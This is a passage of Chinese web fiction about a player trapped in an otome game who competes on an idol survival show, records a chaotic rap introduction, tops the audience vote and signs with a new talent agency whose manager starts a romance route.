朝晖摇头：“不是啊，是唱歌跳舞，而且我还要赶紧做任务解锁【创作】呢。好期待啊！”
姜瑶：“你要是实在想唱歌跳舞，在这儿也行啊。”
“你这没有练习室，不在练习室练习的话不算进度的。”朝晖郁闷。
这个设定让她不得不长期呆在有练习室的地方。
目前来讲，她升级、刷熟练度的动力也是大于冒险探索的。
等哪天她刷满了技能……哼哼，那可就天高任鸟飞，海阔凭鱼跃了！
……
最终，朝晖还是留在安全局，被迫看了一晚上教育ppt。
玩家的身体虽然不会疲惫，但精神也是需要放松的嘛。
于是她在催眠的ppt之下呼呼大睡，真正接受教育的人变成了倒霉的伊尔莎。
伊尔莎不但不觉得倒霉，还因为和安全局签署了保密协议而十分高兴。
表面上，她只是被朝晖卷入事件的普通人；实际上，却成了安全局合情合理放在朝晖身边的一个棋子。
伊尔莎不介意向安全局汇报朝晖的行踪，她觉得朝晖也不会介意。
“朝小姐，我也跟安全局签协议了，您有事情的话可以通过我和安全局联络。”
伊尔莎小心地开口。
“噢。”
朝晖睡眼惺忪，她打开伊尔莎的资料卡，果然看到职位旁多了一个【安全局编外人员】。
“他们需要我跟他们汇报您的行踪，免得您，呃，遇到事情没人撑腰……”
“好哇！”
“还有，安全局的意思是希望您可以和星宇娱乐公司解约，他们会帮您联络更好的公司……”
实际上，消息灵通的娱乐公司已经在暗中争夺朝晖这个少见的“异能者偶像”了。
物以稀为贵，在此战场上，朱老板的意见根本不重要。
“行啊，希望新公司的宿舍会好一点吧。”朝晖无所谓地点点头，又想起了什么，补充了一句，“噢对了，你帮我跟他们说，一定得把你带上啊。不对，让你跟秃头老板解约就好，你给我当私人助理。”
说完这句话，朝晖忽然想起自己空空的钱包。
——任务奖励的钱很少，她现在又没有正经工资，穷得响叮当。
可是伊尔莎这个员工，她还真挺喜欢的，不希望她跑了。
朝晖眉头紧皱，可怜巴巴地看向伊尔莎：“虽然我现在没什么钱，但你放心，以后我有钱了，我一定给你发工资！”
不会画饼当什么老板？
不行，我得画个更大的饼！
于是她再次重复了一句：“会发很多的，放心！”
“……好，我会传达您的意思。”
伊尔莎睁大眼睛，定定地望着朝晖。
她没发现，自己的嘴角忍不住地翘起，笑得可甜可甜了。
12. 洛川（12）
第二天一早，玩家精神抖擞地从床上爬起来，扒着窗户向外眺望。
伊尔莎敲门来到她的房间时，正看到这一幕。
清晨的阳光如轻纱般洒在房间内，穿短袖短裤的少女舒展开修长的肢体，洁白的皮肤泛着柔光。
她的侧脸像建模一样完美，是女娲之手的精心之作，纤长的睫毛在眼窝处投下一片浓密的阴影，扇得人心发痒。
——朝晖。
是个像太阳一样不惧一切的人啊。
“莎莎！！”
由于伊尔莎动作轻缓，沉迷于城市景色的朝晖过了一会儿才发现她，高兴地冲她挥手。
游戏里的城市也很发达，但不论空气质量还是市容绿化，都比现实中好多了！
新鲜的空气、不受阻挡的阳光，都能让人心情变好。
“朝小姐。”
“我们什么时候出发？”
朝晖一个饿虎扑食，树袋熊一样挂在了伊尔莎身上，“快回训练营，我已经迫不及待地想要展示自我介绍了！”
猛地被如此亲密对待，伊尔莎耳朵涨红，无措地拍了拍对方的后背，“啊，朝、朝小姐，我马上去联系安全局的人。”
“好啊，一起去吧。”
朝晖从自家员工身上爬下来，自然地拉住对方的手，然后一出门就迅速地迷路：“咱们去哪儿啊？”
“……我带您。”
其实，朝晖在现实中不社恐，但也绝不是如此自来熟的人。
她是个无情的工作机器，被工作压榨干了情绪，每天最大的愿望就是加班结束回家睡觉。
可这不是在游戏里吗？
莎莎这么漂亮可爱的npc，智能度又高，又能听她话、帮她办事解决麻烦，还能给她支线任务做。
朝晖心想，怪不得现实里那么多人沉迷于纸片人。
谢谢你啊，选中我来测试游戏的那位员工！
她默默打开备忘录，把“建议增加更多高智能度的员工npc”写了上去。
“纸片人”伊尔莎尽心尽力地帮玩家联系好了安全局员工，他们派出一辆没有标识的汽车，低调地把两人送了回去。
然后迅速地被等候在此处的《星光训练营》节目组员工包围住了。
npc们擦着汗，小心翼翼地开口：“朝小姐，总策划请您去商议与您有关的录制事宜。”
昨天的事情闹得挺大，但知道内情的人并不很多。
首先，节目组的人带着保安快速地来到现场，封锁消息，并让相关人士都签署了保密协议；
其次，朝晖这次没有破坏建筑，揍人时下手虽重，但还处于符合人类常识的范围内。
策划组处理掉监控摄像后，只零星几个高层了解到关于“异能者”的事情，剩下的普通工作人员只觉得她是暴脾气的怪力女。
而倒霉被揍的卷发女送医抢救后，挽回了一条性命，甚至伤情不算特别严重，好好修养之后并不会留下太大的后遗症。
至于会不会有心理阴影，那就说不准了：D
于是，在普通员工看来，朝晖就是后台很大：打了人，啥事儿没有，还被总策划亲自邀请，要重新给她安排综艺内的剧情线！
这这这，这样的人怎么会被安排住在404啊？
“调整宿舍？不要了吧，人少挺好的。”朝晖大大咧咧地坐在总策划面前。
总策划的模型，又是个千篇一律的秃头大肚子男，朝晖严重怀疑此类npc套用同一个模版。
她根本记不住对方的长相和名字。
总策划知道朝晖的性格，笑眯眯地看着她，“那么需要把你的室友调整到另外一间宿舍吗？杨小姐退赛之后，她的宿舍正好空出一个位置。”
杨小姐，乃是霸凌未遂反被揍的卷发女。
朝晖正想答应，忽然回忆起猫猫室友的脸蛋。
“不用，但是我的室友能不能送给我啊？”
“……什么意思？”
“就是让她做我的员工，我想招募她。”朝晖直言不讳。
她发现游戏内的逻辑相当严谨，想要招募新员工，不仅仅得看员工本人的意思，还得旧东家同意才行。
她此前看了眼自己的声望，已经变成了-70（人人回避）。
——想要依靠自己的人格魅力招募员工，怕是有些难了。
但这不是还有外力嘛！像伊尔莎，不就是秃头老板指派给她的吗？
玩家理直气壮，绝不认错！
总策划闻言，悄悄抹了把汗：“这样啊，这件事不归我管，不过我可以帮你联系一下她的公司。”
“那就太好啦！”朝晖开心。
总策划感觉自己已经逐渐摸清楚了她的脾性，斟酌片刻后，缓缓开口：“小朝啊，你看，如果我帮你办成这件事情，你能不能也帮我一个忙？”
帮忙？
朝晖眼睛一亮，“什么忙？”
“是这样的，你也知道，你是很少见的异能者，又来参加我们这个节目，我们想给你立一个独特的人设，绝对能够让你的人气大大增加！”
总策划拍着胸脯，掏出昨晚策划组连夜赶出的计划书，“虽然不能公布异能的事情，但我们打算把你打造成怪力少女人设。天使般的外貌，却拥有巨力，有勇气、有决心、有反抗，是在选手中极具领导力的角色！”
朝晖考虑到可能会有的任务，接过计划书扫了几眼。
没仔细看，但感觉像是个杠精啊。
“好像不是什么好角色。你们不是不敢得罪我吗？安全局的能量是不是很大？”朝晖非常诚实地开口。
“……？”
总策划噎住。
不是说这位异能者精神混乱、智商不高的吗？
她就稍微看了眼计划书，还是被策划组精心修饰过的版本，怎么就看出来他们的目的啦？
总策划脸皮一垮，愁眉苦脸地哭诉：“我的祖宗，你以为我们节目组容易吗？安全局、云端能源都在向我们施压，这已经是我们周旋之后能拿出来的最好方案了！”
“你的镜头绝不会少，只是人设不太符合主流，但有热度呀！黑红也是红，这个道理你应该也明白的，等我们节目录完，你们想怎么办，可以日后再多多沟通嘛！”
朝晖挠挠头：“云端能源是啥？”
“……是杨小姐……呃，您打了的那位小姐的父亲所在的公司，他是云端能源
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的大股东，很有能量的。”
“哦。”
这算是打了小的来老的吗？
朝晖跃跃欲试了：“呵，能把女儿养成这种霸凌他人的性格，能是什么好东西？云端能源是吧，我记住了，以后有机会一定打他一顿。”
总策划：“……”
“还有，”朝晖想了想，发出了正义的宣言：“什么人设、剧本我就不要了，本玩家要凭自己的实力，堂堂正正地参加节目，成为人气选手！”
“系统啊，你们安排这种黑幕剧情，是不是不太符合核心主义价值观呢？”
系统：“……亲爱的玩家，本游戏自由度较高，剧情发展丰富多样，游戏内剧情不代表游戏公司的立场。”
朝晖撇撇嘴：“行吧。倒也是，沉浸感挺强的，我都有点生气了。”
总策划：……
总策划觉得心很累。
以他个人拙见，想必朝晖选手不需要任何剧本，也绝对可以成为本节目内最大的反派。
——这种随心所欲、无拘无束的性格，无视他人的霸道行径，时不时就会得罪人，最容易受到观众讨厌！
“……你不想要的话也可以，没问题，但具体的镜头量我们就不能够保证了。”
他到底是多年的老油条，把话说得很圆滑，“毕竟，我们的节目剪辑还是要有亮点、爆点，只能尽量选取一些有看点的镜头。”
“哦？”
朝晖脑中闪过一道灵感。
亮点、爆点，这不正是玩家的强项嘛！
呵，镜头量这东西，当然是要自己争取来的才有成就感！
“行，没关系。”
总策划连忙拿出协议请朝晖签字，意思是这是她的个人选择，他们节目组绝不粘锅。
“那没什么事儿我就先走了。对了老板，你们这儿的练习室在哪啊？”
“……练习室？”
为免过于高调，总策划请助理将朝晖送到了练习室。
有靠山的选手总体还是占少数，大部分努力的普通人，此刻都趁着拍摄延迟的机会，来到练习室充实自己。
只不过，目前节目还没有正式开拍，主要拍摄场地位于另一栋楼，选手们暂时不能过去，只能挤在宿舍楼下两间狭小的练习室中练习。
实力较强、背景更硬的人占据了位置，其他人则围坐在旁边，聊天交谈或者喝彩鼓掌。
朝晖大大方方推门而入，对所有人视而不见。
整个房间内忽然陷入了诡异的安静，只有舞蹈练习的伴奏仍在播放。而朝晖所过之处，其他人都默默让开了位置。
——这很正常，毕竟游戏里有碰撞体积，npc给玩家让位，不是合情合理吗？
在朝晖看来，数量众多的选手们，约等于练习室内的气氛组，都是场景背景板，负责提供“多人练习室”的氛围感。
于是她径直挑选了一个顺眼的位置，清了清嗓子，打开技能面板，点击【海妖之声】。
“哆来咪发唆～～～”
高昂的歌声混合着仍在播放的舞蹈伴奏，响彻练习室。
选手们：……
坐在角落里围观的猫猫室友、贵宾犬：……
13. 洛川（13）
在朝晖迫不及待、练习生npc们度日如年的氛围中，时间来到下午，推迟了一整天的自我介绍录制正式开始。
由于时间紧张，节目组告知众人，下午的流程是边录制边进行后台剪辑制作。
简单审核后，成品就会被直接上传至《星光训练营》的播放网站上。
没有后悔重来，每个人只有一次机会。
气氛一时间变得紧迫起来，所有选手都按照节目组要求，在休息室静静等候，按照顺序轮流开始录制。
大家手上拿着自己的稿子，默念着进行练习，表情都紧绷着，有人还紧张得心跳加速、身体发抖。
众人为了录制都盛装打扮了一番，穿上更加符合自己气质的衣服、化了合适的妆容。
这时候，就显得朝晖特别的显眼。
她不仅悠哉悠哉，探头探脑，甚至连妆容都是被工作人员强行抓过去画的一个流水线淡妆。
她的衣服，和初次登入游戏时的一样——系统送的白衬衫，格子短裙。
再贫的练习生好歹也会穿条新裙子呢！
——当然，她一直以来都非常显眼就是了。
“好巧！”
录制顺序是随机排列的，是不是真的随机朝晖也不知道，但猫猫室友恰好排在她后面。
猫猫室友正是“紧张得浑身发抖”大军中的一员。
“好，好巧。”裴韫艰难地扯出一个笑来。
她是普通人，亲眼看见朝晖打人，也只以为对方力气大而已。看见朝晖没事人一样地回来了，心中则猜测对方是否背景很硬。
对朝晖又敬又怕、对录制紧张又担忧、对自己前途未卜的迷茫，多种情绪混合在一起，裴韫的脑袋一片空白，牙齿不自觉地发出轻微的“咯咯”声。
朝晖以为猫猫室友只是紧张，惊奇地看向她：“倒也不用发抖吧？这么短的录制而已，你胆子这么小？”
裴韫：“……”
朝晖正处于极度兴奋的状态，万分期待任务完成后的奖励。
她还挺喜欢猫猫的，于是恨铁不成钢之下，一巴掌拍在了对方的后背上。
“哎呀，赶快打起精神！”
！
裴韫被拍得一个激灵，只觉得胃部不受控制地扭动起来，一个不稳跌倒在地上——
“呕——”
猫猫室友趴倒在地，干呕不已。
空气似乎凝滞了一秒，伴随着整齐划一的脚步声，整间等候室内所有人不约而同地疯狂后退。
片刻后，朝晖周围便如同放了抗生素的细菌培养皿，以她为圆心，空出了一个大圈。
所有人：“……”
朝晖吓了一跳，忙蹲下扶住猫猫室友，大声呼救：“你没事吧？喂喂，快叫医生过来！”
“我……我没事……”
裴韫生怕影响到接下来的录制，浑身不知道怎么涌出了一股力量，支撑着她抬起头：“我没事，给我点水就好了！”
工作人员：“……行，你原地坐下休息一会儿吧。”
朝晖也松了口气。
呼，对方反应这么大，她还以为刚才自己的巴掌没注意力道，把人拍出问题了呢。
好险！
“吓死我了，差点以为【姜瑶的请求】要凉了。”
【姜瑶的请求】这个任务描述得比较模糊。
根据机智的玩家分析，应该就是在接下来的七天内不做打人、偷盗、破坏物品等等可能会被抓进局子的事情。
奖励看起来这么神秘，玩家如何能够抵挡住诱惑？
所以她已经默默下定决心，如果七天后任务没能完成，她就读档重来。
这么长的任务周期，重来一遍是很痛苦的事情，所以她一定要谨慎，千万别把事情搞砸了。
唉，这些npc是真的很脆弱，一不小心就磕着碰着，怪烦人的……
“谢，谢谢你。”
细若蚊蚋的声音轻轻钻进耳朵，像一阵风飘过。
朝晖转过头，声若洪钟：“你说啥？”
好不容易鼓起勇气的裴韫：……
其他人：……
社恐裴韫恨不得现在就一头撞死在墙上算了。
可是看着朝晖那双紧紧盯着她的眼睛，她又不敢不回答，忽然间有种破罐子破摔的感觉。
“我说，谢谢你，昨天你帮了我，刚才你也担心我……谢谢。”
话一说完，裴韫感觉自己的灵魂已经离家出走。
“呀，太客气了！”
朝晖笑眯眯地看着她，“既然这样，你要不要成为我的员工？”
裴韫：“……啊？”
“总之就是给我打工，当助理之类的？不过你是选手……那也没关系，反正后面的剧情也正需要练习生组成出道女团。”朝晖自顾自碎碎念，“系统，她都说谢谢我了，应该对我好感度还行吧？这都不能招募吗？难道要等她旧公司的回应？唉！”
系统：……
一头雾水的裴韫：……
倒是被一打岔，方才的尴尬消散了不少。
“下一位，朝晖！”
不知不觉间，前面的练习生已经全录完了。
“哎，来了！”
朝晖走路带风、虎虎生威地来到录制室，面对数量众多的摄像机和npc，落落大方地开了口：
“大家好，我是来自星宇娱乐公司的练习生朝晖！喜欢唱、跳、rap，那么接下来我将表演一段rap，咳咳～”
“是唱歌激发了我，跟秃头老板搭了伙，千万别让我发了火，Ayo～～～诞生于2066，梦想是歌唱领袖，so pretty so fantastic，没有太多讲究！想唱歌跳舞的女孩，创作是我的王牌，你的炫酷舞台，让我心潮澎湃——”
“然后是一段唱跳，3、2、1，music！”*
伴随着激烈的伴奏，朝晖表演了一段柔美的海妖之声，配合狂放的远古之舞。
远古之舞的风格嘛，大概就是少数民族部落风吧。
摄影师：……
忘记喊卡的导演：……
导演想起这位姐的身份，艰难地开了口：“你要不要……再录一段？我们会剪辑一下给你选取比较好……呃……比较正常的镜头。”
朝晖眉头一皱：“不是说好了两分半一镜到底吗？我觉得我的表演很完
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整，时间也刚刚好。”
导演：“……那行吧。你可以回去了，叫下一位进来。”
门外，站着表情空白的裴韫。
朝晖刚一出门，就止不住捧腹大笑起来：“哈哈哈哈哈哈！我刚才那段真是天才般的组合！整活真的太有意思了！而且那些npc的反应也好好笑哈哈哈哈！”
因为朝晖声音太洪亮、不小心听清整段rap的裴韫：……
好像忽然就不紧张了呢：D
录制全部结束后，节目组又把所有练习生喊上，一起拍公式照、大合照。
拍照片的时候，朝晖就没怎么搞事情了，正儿八经的，让摄影师受宠若惊。
因为玩家此时满心满眼都是任务，她想赶紧完成拍摄回去看看，自己的视频播放量如何。
“……她不开口说话的时候，还挺好看的。”摄影师小声感慨。
照片中的朝晖只画了节目组化妆师出品、风格统一的淡妆，没有做任何发型，一头朴素的黑长直。
衣服不再是她自己的，而是穿上了《星光训练营》统一的制服，米黄色西装外套配蓝色裙子。
制服外套的剪裁并不优秀，甚至尺码也略大，背后用别针别住，才勉强合身。
即便如此，也衬得她腰细腿长，青松一般挺拔。
她低下头任由cody摆弄，长长的睫毛在雪白的脸上扑下一片阴影。
“她甚至不上镜！”另一个摄影师惊叹。
朝晖的皮肤太好了，真人带来的惊艳感无法在镜头中表述。
“抬头，挺胸，微笑～”
“好嘞！”
朝晖化作一头昂首挺胸的大鹅，骄傲地扬起下巴，咧开嘴，露出一口大白牙。
“……有点油腻，算了，别笑了，微微低头看镜头。”
朝晖也觉得笑多了脸有点僵，于是放松下来静静看向镜头。
“咔嚓！”
裴韫在旁边等她。
猫猫室友从小受欺负惯了，从不敢主动跟别人搭话。目前就只有朝晖跟她说得上话，又不欺负她，她就下意识跟着朝晖。
“你真好看。”裴韫眼睛亮亮地看着朝晖。
真自信，真厉害，真漂亮……羡慕的情绪充斥着她的心房。
“是吗？”
朝晖不以为意，反而霸道地指挥起来，“马上到你了，听着啊，你就凶凶地看着镜头，像那种冷脸猫的样子，但又有点傲娇的感觉，那样最好看了！”
裴韫：“……是吗？”
“当然啦！”
朝晖就像在玩换装游戏，摆弄自己女儿那样指挥她。
谁没在换装游戏里给女儿疯狂地拍过照呢？
由于朝晖的声音太大、根本插不上嘴的摄影师：……
也行吧。
裴韫的丹凤眼，带给她一种清冷和柔媚结合的气质。
也许是年纪小，即便她很瘦，脸颊处也还是有些婴儿肥。
组合起来，按照朝晖的说法，好像还真挺符合“冷脸傲娇猫”的形象。
朝晖指挥得心满意足，摄影师拍得也还算痛快，于是，只有裴韫又僵硬又紧张又尴尬的世界达成了。
14. 洛川（14）
接下来的七天时间，选手们的自我介绍、公式照就会被放到网络上，作为节目正式开播前的最后预热。
此前，《星光训练营》的豪华阵容、大手笔投资都吸引了诸多目光，加之策划深谙炒作之道，网友们早已抱有万分期待。
甚至有营销号大胆宣称，“这将会是五年内最为火爆的一款选秀节目”。
豪华阵容是啥？……朝晖其实没记住，只知道总制作人是余烬，顶流人设，本乙游一番男主。
另外搭配了歌坛实力天后、进军综艺的老牌影帝、前几年爆火的rap选秀冠军、新生代偶像团体的舞担，作为四个导师。
真是老一套的配置呢：D
总之，各方加持之下，选手们的视频刚刚上传，就有不少热心观众涌入观看。
林月是个老牌秀粉了，自诩冷酷无情，心不再为年轻的花骨朵儿们跳动。
选秀时随缘打投，结束后拔腿就走，从不在任何一个女人男人身上流连忘返。
但今天，她已经循环播放了某个自我介绍视频整整五遍。
“是唱歌激发了我，跟秃头老板搭了伙，千万别让我发了火，Ayo～～……”
啊！
像一份臭豆腐。
它散发出沁人心脾的芬芳，却让人忍不住地再多吃几块。
而这个视频，它让人的脚趾抠出一栋三室一厅，却不自觉地点击“再次播放”。
这，大概就是“鬼畜”的力量吧。
林月一个激灵，回过神来，把这份万恶的视频狠狠关掉，并在下面留下评论：“节目组你们认真的吗？这什么乱七八糟的！”
然后，她打开了公式照页面。
在这里，每个实名注册观众都可以参与投票，选出9个自己最好感的选手。
赛前投票没有太多实际意义，也不影响选手的后续成绩，只是让观众们有点参与感。
页面的第一个位置，熟悉的脸占据C位，票数高居第一，几乎是第二名的两倍。
【97号选手：朝晖。目前票数：3172票。目前位次：1。
个人资料：
身高：172cm。体重：55kg。
年龄：18岁。星座：狮子座。
个人宣言：想～看～我你就看、视、频！喜～欢～我～你就来、投、票！】
林月：……
林月抱头呐喊：“到底是谁在给她投票啊！都只看脸的吗？”
好容易冷静下来之后，她又不得不承认，这个女人，她成功引起了自己的注意！
照片中的朝晖神色冷漠，漫不经心地看着镜头，即使简单朴素的造型也足够惊艳。
——林月正是被这张照片吸引，光速投票，然后跑去看视频，结果被不小心创到。
视频中的朝晖……呃，不提也罢。
主打一个反差萌！
感到情绪复杂的，不只是林月等吃瓜观众，还有咬着手绢查数据的诸多选手们。
就像jj的糊糊作者，发完文会忍不住刷新看数据一样；选手们也在练习的过程中，不停刷新网站，想看看自己的成绩。
其中最光明正大的便是朝晖，因为她本来就可以一边【练习】一边刷手机。
“又涨了又涨了！到五千了，保底五个自由属性点，哇咔咔咔咔咔～～～”
练习室中的其他人：……
宿舍楼下，一共有两间练习室。
朝晖行事狂放，目中无人，严重影响到了其他选手的正常练习。大家对“打人”事件有所耳闻，不敢惹她，因此选手都倾向于选择另外一间练习室。
挤不进去那间的，无非就是没背景、性格软、不愿争，都是些可怜的小糊糊，大概率一轮游的佛系背景板选手。
朝晖独自占据半间练习室，其他小糊糊可怜巴巴地挤在另外一边。
现在是视频放出的第三天，接近傍晚。小糊糊们此刻也没什么心思练习了，偷偷拿出手机看数据。
“五千——好厉害。”有人感慨，“现在她视频播放量排第三了，仅次于两个寰天的人。”
糊糊们处于社会底层，多年夹尾求生，也生不出什么嫉妒的情绪。
但还是有人不能调理：“像她这样豁得出去，甘愿扮丑，以后发展怎么办？”
另一人小声反驳：“也没有豁出去什么吧……她不就是这样儿吗？”
……还挺有道理。
那人继续说道：“而且她照片投票断层了。真的长得很漂亮，我觉得是我们这一届的门面*了吧？她甚至还有点儿不上镜呢。”
“嘘——”
她的朋友连忙捂住她的嘴，俯身在她耳边说悄悄话：“你不要命啦？你不知道寰天的人有多霸道？”
寰天文化传媒，洛川娱乐圈只手遮天的庞然大物，能与之相提并论的娱乐公司寥寥无几。
他们公司送了足足五个选手来参加这次选秀，其中有两个素质相当高的，赛前就吸足了眼球，饱受期待。
现在，那俩的视频播放量确实比朝晖高，却并没有拉开差距，反而在被慢慢地追赶。
照片投票就更夸张了，从一开始就被朝晖打断层，差距稳定。
想来那两位如今的心情不会很明朗。
“她们俩……不是在隔壁吗？”糊糊听话地压低声音。
朋友敲她后脑壳，“你傻啊，有人告密怎么办？”
糊糊后知后觉反应过来，肩膀一缩，闭口不言。
片刻后，俩人齐齐掏出手机，再次刷新起数据。
——就算知道自己比不上那些光芒之下的人，可谁又没有个一飞冲天的梦想呢？
隔壁。
糊糊朋友的猜测没错，此时此刻，两名寰天文化的热门选手并排坐在一起，脸色是如出一辙的阴沉。
诸华清，盛绫儿。
若是朝晖在此处，恐怕会再次感慨一番npc建模之精美。
一个是清冷雪莲花，一个如热烈红玫瑰。年龄相近，身材相仿。她们出现在同一个场景中，便自然地勾勒出一幅兼具冲突与互补的画卷。
难得的是，作为练习生的她们，身上已经初具星象，没有“素人感”。
不谈实力，光是看脸，都很有可能进入最终的9人出道名单。
更何况她们实力不仅不弱，还有寰天文化这么硬的背景，想不出道，除非观众眼瞎。
“这不就是个傻x吗！”盛绫儿小声咒骂，“就这？照片不也就这样？到底是什么人在给她投票！”
凭良心说，光看公式照，其实她们俩和朝晖都很好看。
毕竟美女的风格是多样的，每个人心中都有自己的哈姆雷特，比不出什么绝对差距。
“小声点。”
诸华清冷静地看了她一
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眼，“她把云端能源股东的女儿打进急救病房，这件事却被瞒得紧紧的，来历不简单。”
“那个被打的女的自己脑子就有病啊，富二代跑来当练习生就算了，还光明正大地霸凌，蠢得要死。”盛绫儿撇撇嘴。
这句话诸华清挺赞同的，不过她没说出来，而是转移了话题：“放心，我们最终一定是前两名，现在她再怎么样也不会影响——说不定最终，还会变成同事呢。”
盛绫儿郁闷：“艹，她现在人气就这么高，自带话题度，可能真能出道，想想我就要吐了。”
“不是这个同事。”
诸华清轻咳一声，压低声音：“我们公司在争取签下她。”
“啊？为什么？”
盛绫儿双眼瞪得滚圆。
“我哪知道？”诸华清耸肩，“也许是有商业价值？听说好几家公司在抢她，但寰天有优势。”
她说得保守。其实寰天文化想要签的人，还没有拿不下来的呢。
“啊——曰！”
盛绫儿把手机一扔，暴躁地抓起头发，“就她？跟她一个公司？不会还得装姐妹情深吧？丢死人了要！公司到底在想什么啊？”
诸华清轻轻一笑，没再回答，而是专心练习初舞台的曲目。
——朝晖是敌人，但盛绫儿也是她的竞争对手啊。
……
这边，朝晖一边练习一边玩手机的时候，就接到了安全局那边的电话。
“寰天文化？”
“是的，他们诚意十足，跟我们安全局也有一定的合作关系，是比较理想的选择。”
“哦。”
朝晖挠挠头，总觉得这个名字好像在哪听过。
既然是一家大公司，那应该很有名吧。
“我都行，随便啦，宿舍条件好点就行。”
“那太好了。”
安全局员工松了口气，“你放心，合同内容我们都帮你谈好了，绝对是非常优越的条件。手续办完后，你的新经纪人会跟你联络，把需要签字的文件带给你。”
“好。”
朝晖刚刚挂断，新电话就掐着点儿打了进来。
尚未来得及接，目睹她在大庭广众之下大声打电话的裴韫忍不住了，拉过朝晖的手臂：“姐，姐姐，我们去外面打吧？”
“啊？——哦，行吧。”
朝晖对于这种细节不太在意，在众多糊糊的目送下，被裴韫顺利拉到门外。
“您好，朝小姐吗？我姓卫，卫文谨，是寰天文化旗下的经纪人。不知道您是否还有印象，我们此前在番茄台大楼有过一面之缘……”
“嗯嗯，签字是吧？你到了给我打电话就行，挂了哦。”朝晖左耳进右耳出。
这人声音挺好听，就是话挺多。
唉，游戏剧情总是啰里八嗦，她都快习惯了。
卫文谨：“……好的，手续办完后，我明天下午会带合同过来，到时候打给您。”
回应他的是冷漠无情的“滴滴滴——”
系统：……
系统：“……亲爱的玩家，【恋爱】支线中的人物会影响您主线剧情的推进，还请认真对待。”
“叮！您已触发人物卡【卫文谨】相关剧情【金牌经纪人】，开启好感度、亲密度系统。”
朝晖：“啊？”
对哦，差点忘记这其实是一款乙女游戏了。
15. 洛川（15）
【金牌经纪人】。
抵达训练营附近的一家咖啡厅入座后，朝晖方才后知后觉，眼前这位脑袋上顶着“卫文谨”三个字的西装男颇为眼熟。
“因为之前见过一面……”西装男露出尴尬而不失礼貌的微笑。
他身材颀长，肩宽腰细，金丝框眼镜半遮住狭长的眼睛，显得温润文雅。
一套卖保险的同款黑西装穿在他身上，活像是超模走秀。
“啊，不，我的意思是在海报上见过。”朝晖道。
也许是主线剧情有所推进，她点开【卫文谨】人物卡，瞧见不少新解锁条目。
首先，个人资料界面变得完善，比如他的职位是“寰天文化传媒经纪人”，后面跟着一串金光闪闪的履历。
身高体重、生日家庭等私人信息也很详细。
甚至在资料的最后一行，有一句显眼的“身材偏瘦，但常年锻炼，身体素质优秀，有八块腹肌”。
字里行间，散发出一股急不可耐的推/销气息（？）。
“建模好看就算了，毕竟是男主。但身高188还有腹肌的人竟然去当经纪人而不是明星？这设定合理吗？”
系统：……
卫文谨：……？
眼前的女孩可称花容月貌，更难得的是她一双眼睛，眼神纯粹，见之难忘。
要是这双眼睛没有紧盯着他不放，还肆无忌惮地上下打量，那就更好了。
——帅哥npc嘛，多看看怎么了？建模出来不就是让玩家看的吗？
朝晖没觉得哪里不对。
好在卫文谨混迹职场多年，功夫了得，面上亲切的微笑看不出一丝破绽，用依旧温和的语气回答：“朝小姐说笑了，各行各业都有其特色，外表出色也并不代表能够成为优秀的明星，我很满意我现在的职业。”
朝晖品了品，直白道：“你没在阴阳我吧？”
卫文谨：“……绝对没有。哦对了，您之前提到的海报是指什么？”
话题转移得略显生硬，朝晖倒也没追究，老实答：“游戏海报呗。”
仔细想想，西装男似乎就是站在C位男主左手边护法位置的那一位。
听见“阿巴海报”四个字的卫文谨：“……”
这对话到底要怎么继续下去啊喂！
他不讲话，朝晖也不开口。
她是为了【金牌经纪人】的剧情，才在这儿浪费时间聊天的。
老实说，男主挺帅，但一想到自己要去攻略他们、感化他们，她就兴趣全无。
人物卡上的资料显示，卫文谨完全符合国际通用标准男主设定：他有着一段不愿提及的黑暗童年，温柔的外表下隐藏着一颗冰冷的心，非常需要小太阳女主来温暖他救赎他。
这正是玩家在恋爱线中需要达成的目标。
但，凭什么呢？
作为一款乙女游戏，作为世界中心的女主，难道不应该让美男子们都主动来讨好她才对吗？
明明是女性向游戏，男主却一个个高冷的高冷、毒舌的毒舌，不给玩家好脸色，反而让玩家去讨好、去当舔狗，刷“好感度”，才能博得欢心。
谁会爽啊！
反正她是不会干这种事的。
俩人干瞪眼时，朝晖无动于衷地看着对方的好感度从0变成-10，倒是亲密度由于剧情推进，吝啬地+1。
“还是我不够强吧。”朝晖对系统道。
卫文谨：“？”
玩家旁若无人地对系统吐槽：“你看看男性向的恋爱游戏，男主就算平平无奇，也会有无数漂亮妹子前仆后继地往上贴。怎么不学学人家？就说正常的大男主爽文，哪个男主不是世界第一？
“我真搞不懂你们，给女主设定成【唱歌治愈他人】这种人设，离不离谱啊？给我个牛x的异能，打遍天下无敌手，然后男主们都被我折服、跟我贴贴，那多好？”
系统：“……已接收到您的投诉。”
基本一个字都没听懂的卫文谨：……
他有点维持不住职业假笑了：）
关键是，面对这样的一位艺人，与正常人沟通的方式好像并不适用啊喂！
他揉了揉太阳穴，放弃无用的寒暄，从背包中掏出一个厚厚的文件袋：“这是与安全局核定好的合同，麻烦您签字吧。”
“噢。”
签字什么的，朝晖相当配合。
走剧情当然是越快越好嘛！
与npc们对她的刻板印象不同，朝晖的字很漂亮——行云流水，龙飞凤舞。
乍一看潦草，懂行的人却能品出其笔力之遒劲、气势之潇洒，绝非一日之功。
在洛川，穷人只能上最差的公立学校，书法是上流社会用以陶冶情操的艺术。
贫民窟出身的孩子是不可能会书法的。
卫文谨不着痕迹地拿过一份签好名字的文件，轻声询问：“你的字是在哪学的？”
“在书法老师那儿啊。”朝晖随口道。
她家只是普通小康，但人们习惯了卷工作卷教育卷孩子，爸妈很早就给她报过各式兴趣班。
那里的资源垄断远没有游戏世界这么恐怖。她不仅会书法，还学过画画和跆拳道呢！
“小时候就学了吗？”卫文谨问。
“是啊。……写完了，搞定！”
朝晖翻翻文件，确认该签的地方都签好了，满意地点点头，“还有什么要办的吗？”
“有的，是关于您的个人助理伊尔莎。”
卫文谨对待工作倒是十分认真，“根据您的需求，她应该与您个人签订雇佣合约——但您目前已经签约寰天文化，加上她还没有成年，相关合约参考较少，缺乏保障。”
“嗯嗯。”
“所以我们的建议是，把她挂靠在我们公司名下，职位是艺人助理。这份合约是比较宽松的，我们不管理她，但可以帮她缴纳保险、税费，方便一些。”
朝晖是个纯纯的理工女，对这些弯弯绕绕的东西丝毫不感兴趣：“可以，你看着办吧！”
“那我们到时候会联系她签署合约，请您放心，这都是经过安全局核查的……”
“唉，剧情真啰嗦啊。”
朝晖听得昏昏欲睡，默默嘀咕一句，托起下巴开始发呆。
卫文谨：“……这样吧，以后我就是你的经纪人了，你不介意的话，这些杂事我都会帮你办好。”
朝晖一愣。
玩家的双眼猛然冒出精光：“等等——这么说的话，你也算是我的员工吗？”
卫文谨：“……啊？”
系统：“……您好，不算的呢亲。”
